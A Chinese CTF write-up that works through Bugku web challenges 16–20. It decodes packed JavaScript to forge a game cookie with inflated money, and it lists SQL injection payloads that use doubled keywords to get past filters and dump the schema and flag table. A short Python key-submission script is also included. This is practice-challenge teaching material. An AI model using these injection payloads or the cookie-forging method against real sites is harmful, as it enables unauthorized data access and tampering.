web16

学会如来神掌应该就能打败他了吧
题目地址

进入江湖,抓个包,发现三个js。
script.js base.js md5.js

分别打开后发现,md5.js、base.js没有什么异常,打开script.js后发现有packet加密。
我们先进行解密。下面是解密代码

<script>
a=62;
function encode() { var code = document.getElementById('code').value; code = code.replace(/[\r\n]+/g, ''); code = code.replace(/'/g, "\\'"); var tmp = code.match(/\b(\w+)\b/g); tmp.sort(); var dict = []; var i, t = ''; for(var i=0; i<tmp.length; i++) { if(tmp[i] != t) dict.push(t = tmp[i]); } var len = dict.length; var ch; for(i=0; i<len; i++) { ch = num(i); code = code.replace(new RegExp('\\b'+dict[i]+'\\b','g'), ch); if(ch == dict[i]) dict[i] = ''; } document.getElementById('new_code').value = "eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]);return p}(" + "'"+code+"',"+a+","+len+",'"+ dict.join('|')+"'.split('|'),0,{}))";
} function num(c) { return(c<a?'':num(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));
} function run() { eval(document.getElementById('code').value);
} function decode() { var code = document.getElementById('code').value; code = code.replace(/^eval/, ''); document.getElementById('new_code').value = eval(code);
}
</script> <div>JS文件加密解密</div>
<div>原脚本</div>
<textarea id="code" cols=80 rows=10>
</textarea>
<div>加密/解密后脚本</div>
<textarea id="new_code" cols=80 rows=10> </textarea><div>
<input type=button onclick=encode() value=编码>
<input type=button onclick=run() value=执行>
<input type=button onclick=decode() value=解码>
</div>

把这段代码,写入decode.html,浏览器打开。


解密完成之后,再进行一下格式化。
在线工具地址:https://tool.oschina.net/codeformat/js/

function getCookie(cname) {var name = cname + "=";var ca = document.cookie.split(';');for (var i = 0; i < ca.length; i++) {var c = ca[i].trim();if (c.indexOf(name) == 0) return c.substring(name.length, c.length)}return ""
}
function decode_create(temp) {var base = new Base64();var result = base.decode(temp);var result3 = "";for (i = 0; i < result.length; i++) {var num = result[i].charCodeAt();num = num ^ i;num = num - ((i % 10) + 2);result3 += String.fromCharCode(num)}return result3
}
function ertqwe() {var temp_name = "user";var temp = getCookie(temp_name);temp = decodeURIComponent(temp);var mingwen = decode_create(temp);var ca = mingwen.split(';');var key = "";for (i = 0; i < ca.length; i++) {if ( - 1 < ca[i].indexOf("flag")) {key = ca[i + 1].split(":")[2]}}key = key.replace('"', "").replace('"', "");document.write('<img id="attack-1" src="data:image/1-1.jpg">');setTimeout(function() {document.getElementById("attack-1").src = "image/1-2.jpg"},1000);setTimeout(function() {document.getElementById("attack-1").src = "image/1-3.jpg"},2000);setTimeout(function() {document.getElementById("attack-1").src = "image/1-4.jpg"},3000);setTimeout(function() {document.getElementById("attack-1").src = "image/6.png"},4000);setTimeout(function() {alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{" + md5(key) + "}")},5000)
}

分析之后发现,这个游戏是通过cookie来保存角色数据的。
我们分析一下这个js,发现解密cookie的过程为

var temp_name = "user";var temp = getCookie(temp_name);temp = decodeURIComponent(temp);var mingwen = decode_create(temp);


复制解密代码到控制台下,已经解密出明文了。

那么思路来了
修改明文的金币数量→加密为密文→修改cookie→学习如来神掌→得到flag
作者使用的编辑工具为notepad++

第一步修改明文的金币数量:

O:5:“human”:10:{s:8:“xueliang”;i:940;s:5:“neili”;i:837;s:5:“lidao”;i:61;s:6:“dingli”;i:59;s:7:“waigong”;i:0;s:7:“neigong”;i:0;s:7:“jingyan”;i:0;s:6:“yelian”;i:0;s:5:“money”;i:99999999;s:4:“flag”;s:1:“0”;}

第二步加密为密文

既然解密是用 decodeURIComponent 和 decode_create,那么加密只需要逆向着来就好了。
我们发现js中没有encode_create 函数,那么我们就来自己写。
看一下encode_create

function encode_create(temp) {var base = new Base64();var result = temp;var result3 = "";for (i = 0; i < result.length; i++) {var num = result[i].charCodeAt();num = num + ((i % 10) + 2);num = num ^ i;     result3 += String.fromCharCode(num)}result3 = base.encode(result3);return result3
}

那么反着写decode_create

function decode_create(temp) {var base = new Base64();var result = base.decode(temp);var result3 = "";for (i = 0; i < result.length; i++) {var num = result[i].charCodeAt();num = num ^ i;num = num - ((i % 10) + 2);result3 += String.fromCharCode(num)}return result3
}

在这里有个坑。


这个base在加密的时候进行了_utf8_encode(input) 而解密的时候,却注释掉了。
那么我们就需要把base加密时的 _utf8_encode(input) 也注释掉,才能保证密文被正确解密。

encode_create完明文之后,再

var miwen = encodeURIComponent(temp2);
console.log(miwen);

明文就被加密好了 。
最后完整代码


<script>//base64
function Base64() {// private property_keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";// public method for encodingthis.encode = function (input) {var output = "";var chr1, chr2, chr3, enc1, enc2, enc3, enc4;var i = 0;//input = _utf8_encode(input);while (i < input.length) {chr1 = input.charCodeAt(i++);chr2 = input.charCodeAt(i++);chr3 = input.charCodeAt(i++);enc1 = chr1 >> 2;enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);enc4 = chr3 & 63;if (isNaN(chr2)) {enc3 = enc4 = 64;} else if (isNaN(chr3)) {enc4 = 64;}output = output +_keyStr.charAt(enc1) + _keyStr.charAt(enc2) +_keyStr.charAt(enc3) + _keyStr.charAt(enc4);}return output;}// public method for decodingthis.decode = function (input) {var output = "";var chr1, chr2, chr3;var enc1, enc2, enc3, enc4;var i = 0;input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");while (i < input.length) {enc1 = _keyStr.indexOf(input.charAt(i++));enc2 = _keyStr.indexOf(input.charAt(i++));enc3 = _keyStr.indexOf(input.charAt(i++));enc4 = _keyStr.indexOf(input.charAt(i++));chr1 = (enc1 << 2) | (enc2 >> 4);chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);chr3 = ((enc3 & 3) << 6) | enc4;output = output + String.fromCharCode(chr1);if (enc3 != 64) {output = output + String.fromCharCode(chr2);}if (enc4 != 64) {output = output + String.fromCharCode(chr3);}}//output = _utf8_decode(output);return output;}// private method for UTF-8 encoding_utf8_encode = function (string) {string = string.replace(/\r\n/g,"\n");var utftext = "";for (var n = 0; n < string.length; n++) {var c = string.charCodeAt(n);if (c < 128) {utftext += String.fromCharCode(c);} else if((c > 127) && (c < 2048)) {utftext += String.fromCharCode((c >> 6) | 192);utftext += String.fromCharCode((c & 63) | 128);} else {utftext += String.fromCharCode((c >> 12) | 224);utftext += String.fromCharCode(((c >> 6) & 63) | 128);utftext += String.fromCharCode((c & 63) | 128);}}return utftext;}// private method for UTF-8 decoding_utf8_decode = function (utftext) {var string = "";var i = 0;var c = c1 = c2 = 0;while ( i < utftext.length ) {c = utftext.charCodeAt(i);if (c < 128) {string += String.fromCharCode(c);i++;} else if((c > 191) && (c < 224)) {c2 = utftext.charCodeAt(i+1);string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));i += 2;} else {c2 = utftext.charCodeAt(i+1);c3 = utftext.charCodeAt(i+2);string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));i += 3;}}return string;}
}//getcookie
function getCookie(cname) {var name = cname + "=";var ca = document.cookie.split(';');for (var i = 0; i < ca.length; i++) {var c = ca[i].trim();if (c.indexOf(name) == 0) return c.substring(name.length, c.length)}return ""
}
function decode_create(temp) {var base = new Base64();var result = base.decode(temp);var result3 = "";for (i = 0; i < result.length; i++) {var num = result[i].charCodeAt();num = num ^ i;num = num - ((i % 10) + 2);result3 += String.fromCharCode(num)}return result3
}function encode_create(temp) {var base = new Base64();var result = temp;var result3 = "";for (i = 0; i < result.length; i++) {var num = result[i].charCodeAt();num = num + ((i % 10) + 2);num = num ^ i;     result3 += String.fromCharCode(num)}result3 = base.encode(result3);return result3
}function ertqwe() {var temp_name = "user";var temp = getCookie(temp_name);temp = decodeURIComponent(temp);var mingwen = decode_create(temp);var ca = mingwen.split(';');var key = "";for (i = 0; i < ca.length; i++) {if ( - 1 < ca[i].indexOf("flag")) {key = ca[i + 1].split(":")[2]}}key = key.replace('"', "").replace('"', "");document.write('<img id="attack-1" src="data:image/1-1.jpg">');setTimeout(function() {document.getElementById("attack-1").src = "image/1-2.jpg"},1000);setTimeout(function() {document.getElementById("attack-1").src = "image/1-3.jpg"},2000);setTimeout(function() {document.getElementById("attack-1").src = "image/1-4.jpg"},3000);setTimeout(function() {document.getElementById("attack-1").src = "image/6.png"},4000);setTimeout(function() {alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{" + md5(key) + "}")},5000)
}var b = "O:5:\"human\":10:{s:8:\"xueliang\";i:940;s:5:\"neili\";i:837;s:5:\"lidao\";i:61;s:6:\"dingli\";i:59;s:7:\"waigong\";i:0;s:7:\"neigong\";i:0;s:7:\"jingyan\";i:0;s:6:\"yelian\";i:0;s:5:\"money\";i:99999999;s:4:\"flag\";s:1:\"0\";}"
var temp2 = encode_create(b);
var miwen = encodeURIComponent(temp2);
console.log(miwen);</script>

保存为html ,浏览器控制台下,看到加密好的密文

UTw7PCxqe3FjcC42OThOjWtSUFYwbm99amlzbG0wI3MeHxgUZ1liZxQMWEFDXl8EdUUOCAMJd016B34WUlFWWTVoATEABHV5P3Z2CmYgPTY5Pj90FSUUaRsfL2ZnYnYhCRMTGRQPQCcHKFIvEShXUlYCGQMbDQ4FXEcXREo%2FBTzBxKbu6fbrB%2BH%2Bps3nsLrP6dCs0LgR8fj1%2F%2B6y3%2B%2FapJ3XnJnkjNPf0NnRjpPD7u%2Fx8%2FH3j4mL98H4hviQzNDbq%2BaDuYb%2Fgur67PVJ

第三步修改cookie

打开burp,拦截修改cookie,发送。

金币已经修改好了。

第四步学习如来神掌

修改好cookie后,去商店一顿购买,学习如来神掌

第五步得到flag

学习好如来神掌,讨伐一下

web17

流量分析,wireshark打开,TCP流追踪得到flag

web18

试探过程如下

id=1’ 回显空白,可能是单引号闭合,字符型注入
id=1’ --+ 回显正常,字符型注入
id=1’ and 1=1 --+ 回显空白,可能过滤了and 或者空格
id=1’anandd 1=1 --+ 回显正常,过滤了and,双写绕过
id=1’ oorrder by 3 --+ 字段数为3

list.php?id=0’ uunionnion seselectlect 1,2,3–+
找到2,3为回显位置
爆数据库
list.php?id=0’ ununionion selselectect 1,2,database() --+

爆表名
list.php?id=0’ ununionion selselectect 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()–+

爆字段
list.php?id=0’ ununionion selselectect 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=‘flag’–+

取数据
list.php?id=0’ ununionion selselectect 1,2,flag from flag–+


得到flag

web19

做到这里,题目坏掉了,等修复好了之后,再来做。

web20

根据题目介绍,动态GET提交密文,?key=密文,就行了。
写好python脚本,提交就行了
(有时需要提交俩三次,才能得到flag,可能是时间延迟的问题)
下面是完整python代码,由python2 编写。

import requests
url = "http://123.206.31.85:10020/"r= requests.session()respond  = r.get(url)respond.encoding='utf-8'
b = respond.text
#print bkey = b[9:42]
#print keyurl2 = url + "?key=" + key
respond = r.get(url2)
print url2
respond.encoding='utf-8'
print respond.text

刷题之旅第2站,论剑场web16、web17、web18、web19、web20相关推荐

  1. 刷题之旅第35站,CTF show 萌新题目集合

    感谢ctf show平台提供题目 第一题:萌新_密码1 我们看到密文中没有大于F的,那么每俩位16进制转文本. 直接运行python脚本 import redef read_file(filepath ...

  2. 刷题之旅第11站,ctfshow misc40

    感谢@小白师傅提供的题目 感谢ctf show平台提供题目 下载题目文件后,打开压缩,一共四个文件 1.打开conversion.txt 按照下面提示,依次进行进制转换得到 202013 这串数字后面 ...

  3. 刷题之旅第33站,CTFshow web12

    感谢ctf show平台提供题目 F12查看一下源代码,得到了提示. 既然提示了cmd=,那么可能后端代码中存在 eval() 或者exec()等可以执行命令的代码. 尝试提交,我们看到了php的配置 ...

  4. 刷题之旅第10站,CTFshow misc50

    感谢@铬憨憨师傅提供的题目 感谢ctf show平台提供题目 下载文件后,发现是一张图片. 且图片大小 比较大,正常图片一般都是1MB以内的,所以猜测可能图片中有其他文件. 在kali下,尝试binw ...

  5. LeetCode刷题之旅

    LeetCode刷题之旅 一.链表 1.链表逆序(leetcode 206.Reverse Linked List)esay 题目描述:已知链表头节点指针head,将链表逆序. 思路:从链表的头节点依 ...

  6. Leetcode刷题之旅1

    Leetcode刷题之旅1 先从剑指offer66题开始刷 链表可创建dummy哑节点指向头指针,目的是为了对头节点进行操作 例子:删除链表中重复节点 确定有限状态自动机 例子:剑指offer20 表 ...

  7. LeetCode 刷题之旅(2020.05.22)——105. 从前序与中序遍历序列构造二叉树(中)

    LeetCode 刷题之旅(2020.05.22)--105. 从前序与中序遍历序列构造二叉树(中) 题目: 根据一棵树的前序遍历与中序遍历构造二叉树. 注意: 你可以假设树中没有重复的元素. 例如, ...

  8. BUU_刷题之旅(One)

    前言: 水平不够,刷题来凑! [NPUCTF2020]ReadlezPHP --反序列化.disable_functions的绕过.flag隐藏在phpinfo中 开始以为这一堆0101有什么线索,看 ...

  9. LeetCode刷题之旅正式开始

    开学三个多月了,但没写过多少代码,感觉再这样下去就废了.所以今天开始LeetCode刷题.这篇文章算是一个刷题的开端,主要写写为什么选择leetcode刷题,怎样刷题等问题. 1.为什么刷题? 我觉得 ...

最新文章

  1. java derby连接_JAVA-Derby连接
  2. linux磁盘混乱,Linux磁盘设备文件混乱源于Linux内核自身
  3. 11gR2 grid安装最后报错[INS-20802] Oracle Cluster Verification Utility failed
  4. 关于Spring事务tx:annotation-driven/的理解(Controller可以使用@Transactional)
  5. sklearn自学指南(part2)--使用手册的主目录
  6. 小程序开发(7)-之获取手机号、用户信息
  7. HTML可以替代CSS的所有功能,CSS-用Divs替换HTML表
  8. Python3导入自定义模块的3种方式
  9. lucene学习-3 - 代码重构
  10. 精选13款Spring Boot 优质GitHub开源项目!
  11. 将OSM地图转化成OpenDRIVE
  12. 高等数学中一些数学定理和公式
  13. Android FFmpeg视频添加水印
  14. 在线教育APP的功能和优势
  15. 神经网络和深度学习(一)——初识神经网络
  16. 从电商到软件市场,阿里双十一战火蔓延
  17. 笔试题(求一组数中能构成三角形的个数,不能重复)
  18. [Learn Android Studio 汉化教程]Reminders实验(一)
  19. 计算机网络教程实验二——静态路由配置实验心得
  20. Module containing this breakpoint has not yet loaded or the breakpoint adress could not be obtained.

热门文章

  1. OpenCASCADE使用(Stp to Gltf)
  2. 阿里巴巴编码规范学习及应用
  3. VS2019遇见的常见错误之一及其解决办法( MSB803 找不到Windows SDK版本 10.0.18362.0.请安装所需版本的 Windows SDK,或者在项目属性页中或通过右键单击解决
  4. 努力成为一名合格的测试(附免费学习网址大全)
  5. 人脸检测总结报告(2018_1_20-2018_1_30)
  6. 用python制作勒索病毒_用c写一个小勒索病毒(用B站来学习)
  7. s_axis_tvalid、s_axis_tready、m_axis_tvaild、m_axis_tready学习理解
  8. 从底层技术来看,GSLB 究竟难在哪儿
  9. 物理光源:Linearly Transformed Cosines
  10. 社区分享|中南民族大学基于JumpServer构建规范、便利的运维安全体系